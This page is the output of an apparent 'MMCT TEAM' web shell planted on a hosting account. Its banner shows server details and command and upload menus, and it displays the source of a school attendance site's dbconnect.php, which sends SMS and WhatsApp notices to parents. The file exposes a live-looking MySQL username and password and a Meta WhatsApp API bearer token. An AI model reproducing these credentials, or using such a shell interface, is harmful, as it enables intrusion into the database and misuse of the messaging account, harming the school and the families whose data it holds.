MMCT TEAM
Server IP : 2a02:4780:3:2287:0:3736:a38e:8  /  Your IP : 216.73.217.17
Web Server : LiteSpeed
System : Linux sg-nme-web2187.main-hosting.eu 5.14.0-611.54.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed May 6 18:03:03 EDT 2026 x86_64
User : u926327694 ( 926327694)
PHP Version : 7.4.33
Disable Function : system, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u926327694/domains/smsoft.in/public_html/att/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u926327694/domains/smsoft.in/public_html/att/dbconnect.php
<?php
    date_default_timezone_set('Asia/Kolkata');
    session_start();
    $servername = "localhost";
    $username = "u926327694_raghuadmin1233";                
    $password = "Raghu@48221";
    $dbname = "u926327694_admin_onlinefe";
    
    $con=mysqli_connect($servername,$username,$password,$dbname);
    
    if(!$con)
    {
        echo"Connection failed"; exit;
    }
    
    
    function SendSMSToUser($urllink,$secret,$sender,$tempid,$receiver,$msg)
    {   
        //echo $url=$urllink."secret=".$secret."&sender=".$sender."&tempid=".$tempid."&receiver=".$receiver."&route=TA&msgtype=1&sms=".$msg; exit;
        $param['secret']=urlencode(trim($secret));
        $param['sender']=$sender;
        $param['tempid']=$tempid;
        $param['receiver']=$receiver;
        $param['route']='TA';
        $param['msgtype']=1;
        $param['sms']=$msg;
        
        $parameters = http_build_query($param);
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $urllink);
        curl_setopt($ch,CURLOPT_HEADER, false);
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));
        curl_setopt($ch, CURLOPT_POSTFIELDS,$parameters);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 
        $result = curl_exec($ch);
        
        return $result;
    }
    
    function SendSMSToUser_custome($urllink,$secret,$sender,$receiver,$msg,$msgtype)
    {
        $param['secret']=$secret;
        $param['sender']=$sender;
        $param['tempid']="";
        $param['receiver']=$receiver;
        $param['route']='PSA';
        $param['msgtype']=$msgtype;
        $param['sms']=$msg;
        
        $parameters = http_build_query($param);
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $urllink);
        curl_setopt($ch,CURLOPT_HEADER, false);
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));
        curl_setopt($ch, CURLOPT_POSTFIELDS,$parameters);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 
        $result = curl_exec($ch);
        
        return $result;
    }
    
    function SendSMSToUser_HMBEG($urllink,$secret,$sender,$tempid,$receiver,$msg)
    {   
        $param['apikey']=urlencode(trim($secret));
        $param['sender']=$sender;
        $param['numbers']=$receiver;
        $param['smstype']='TRANS';
        $param['message']=$msg;
        
        $parameters = http_build_query($param);
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $urllink);
        curl_setopt($ch,CURLOPT_HEADER, false);
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));
        curl_setopt($ch, CURLOPT_POSTFIELDS,$parameters);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 
        $result = curl_exec($ch);
        
        return $result;
    }
    
    function sendAttensms($name,$date,$sms_schoolname,$receiver,$smsURL,$smsAPI,$smsId,$smsTempId,$schoolcode)
    {
        if($schoolcode == 'HMBEG') {
            $message = "Dear parent, kindly note your son/daughter ".$date." the college. Sri Hombe Gowda PU College";
            if($receiver!="")
            {
                $smsResult=SendSMSToUser_HMBEG($smsURL,$smsAPI,$smsId,$smsTempId,$receiver,$message);
            }
        }
        else {
            if($smsTempId == "1107165155316412940" || $smsTempId == "1107165155316412940")
            {
                $message="Dear ". $name." is on ".$date." Date Present Thank you by -".$sms_schoolname;
                if($receiver!="")
                {
                    $smsResult=SendSMSToUser($smsURL,$smsAPI,$smsId,$smsTempId,$receiver,$message);
                }
            }
            else
            {
                //$message="Dear ". $name." is on ".$date." Date Present Thank you by - ".$sms_schoolname." -e vision Infotech";
                $message="Dear ". $name." is on ".$date." is Present Thank you by - ".$sms_schoolname." -EVIHBL";
                if($receiver!="")
                {
                    $smsResult=SendSMSToUser($smsURL,$smsAPI,$smsId,$smsTempId,$receiver,$message);
                }
            }
        }
    }
    
    function sendAttenWhatsapp($receiver, $whatsapp_token, $whatsapp_api_url, $whatsapp_instance_id, $whatsapp_type, $message, $schoolcode, $student_data = array())
    {   
        if($receiver!="" && strlen($receiver)==10 && $whatsapp_api_url != '' && $whatsapp_instance_id != '' && $whatsapp_token != '' && $message != '')
    	{
    	    if($schoolcode == 'HMBEG' || $schoolcode == 'SGSBCS') {
    	        $student_data['school_name'] = $student_data['school_name'];
    	        $parameters = [];
    	        if($student_data['template_name'] == 'bio_failed_alert') {
        	        $parameters = [ ['type' => 'text', 'text' => $student_data['school_name']] ];
    	        }
    	        else {
    	            $parameters = [ ['type' => 'text', 'text' => $student_data['student_name']],
                                ['type' => 'text', 'text' => $student_data['status']],
                                ['type' => 'text', 'text' => $student_data['school_name']],
                                ['type' => 'text', 'text' => $student_data['date']],
                                ['type' => 'text', 'text' => $student_data['school_no']],
                                ['type' => 'text', 'text' => $student_data['school_name']] ];
    	        }
    	        $payload = [
                    'messaging_product' => 'whatsapp',
                    'to' => $receiver,
                    'type' => 'template',
                    'template' => [
                        'name' => $student_data['template_name'],
                        'language' => ['code' => 'en'],
                        'components' => [[
                            'type' => 'body',
                            'parameters' => $parameters
                        ]]
                    ]
                ];
                //echo"<pre>"; print_r($payload); exit;
                $ch = curl_init('https://graph.facebook.com/v22.0/625194630687977/messages');
                curl_setopt($ch, CURLOPT_HTTPHEADER, [
                    'Authorization: Bearer EAAYfbqZBC1XoBPCNZCh9kgEI0B2P4HCRy1uarHxHq7ldJWZAsDilLOL11DD3enfJRz1m4cfIRO3C5XYRB5cFEgfSnA3R3DsbX0jRu7RyxyQXv2b5IGZANhMZC1PDbg65RSVTDZBw2wgs4GfeYKKgheCcTpTvWALK31hcvhAmLZB9yNSczoZBjaa7ZA9lLne7FuFPzMQZDZD',
                    'Content-Type: application/json'
                ]);
                curl_setopt($ch, CURLOPT_POST, true);
                curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($payload));
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
                
                $response = curl_exec($ch);
                $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
                curl_close($ch);
                
                //Whatsapp master track and log Manage
                $received_name = "";
                if(isset($student_data['name'])) {
                    $received_name = $student_data['name'];
                }
                else if(isset($student_data['student_name'])) {
                    $received_name = $student_data['student_name'];
                }
                else if(isset($student_data['firstname'])) {
                    $received_name = $student_data['firstname'];
                }
                else if(isset($student_data['first_name'])) {
                    $received_name = $student_data['first_name'];
                }
                
                $response_data = json_decode($response, true);
                $meta_message_id = $response_data['messages'][0]['id'] ?? '';
                $meta_user_id    = $response_data['contacts'][0]['wa_id'] ?? '';
                
                $post_data = array(
                    'response'    => $response,
                    'school_code' => $schoolcode,
                    'sent_by_id' => 0,
                    'sent_by_name' => "Smsoft Attendance",
                    'received_name' => $received_name,
                    'received_mobile_no' => $receiver,
                    'message' => $message,
                    'media_url' => '',
                    'file_name' => '',
                    'template_name' => $student_data['template_name'],
                    'main_template' => 'Smsoft Attendance There is no template this is use static template',
                    'data' => json_encode($student_data),
                    'meta_message_id' => $meta_message_id,
                    'meta_user_id' => $meta_user_id,
                );
            
                $ch1 = curl_init();
                
                //echo"<pre>"; print_r($post_data); exit;
            
                curl_setopt_array($ch1, array(
                    CURLOPT_URL            => 'https://smart.smsoft.in/insert-whatsapp-master-log.php',
                    CURLOPT_RETURNTRANSFER => true,
                    CURLOPT_POST           => true,
                    CURLOPT_POSTFIELDS     => $post_data,
                    CURLOPT_TIMEOUT        => 30,
                ));
                
                $log_response = curl_exec($ch1);
                //echo"<pre>"; print_r($log_response); exit;
                curl_close($ch1);
    	    }
    	    else {
        	    $queryParams = [];
        	    if($whatsapp_type == 'dealsms') {
        	        $queryParams = [
                        'number' => '91'.$receiver,
                        'type' => 'text',
                        'message' => $message,
                        'instance_id' => $whatsapp_instance_id,
                        'access_token' => $whatsapp_token
                    ];
        	    }
        	    else if($whatsapp_type == 'chatway') {
    	            $queryParams = [
                        'number' => '91'.$receiver,
                        'username' => $whatsapp_instance_id,
                        'message' => $message,
                        'token' => $whatsapp_token,
                    ];
        	    }
        	    
        	    if(!empty($queryParams)) {
            	    $whatsapp_api_url_curl_main = $whatsapp_api_url;
                    $whatsapp_api_url_curl_main .= http_build_query($queryParams);
                    //echo $whatsapp_api_url_curl_main; exit;
                    $curl = curl_init();
                    curl_setopt($curl, CURLOPT_URL, $whatsapp_api_url_curl_main);
                    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
                    curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
                    $response = curl_exec($curl);
        	    }
    	    }
    	}
    }
?>

MMCT - 2023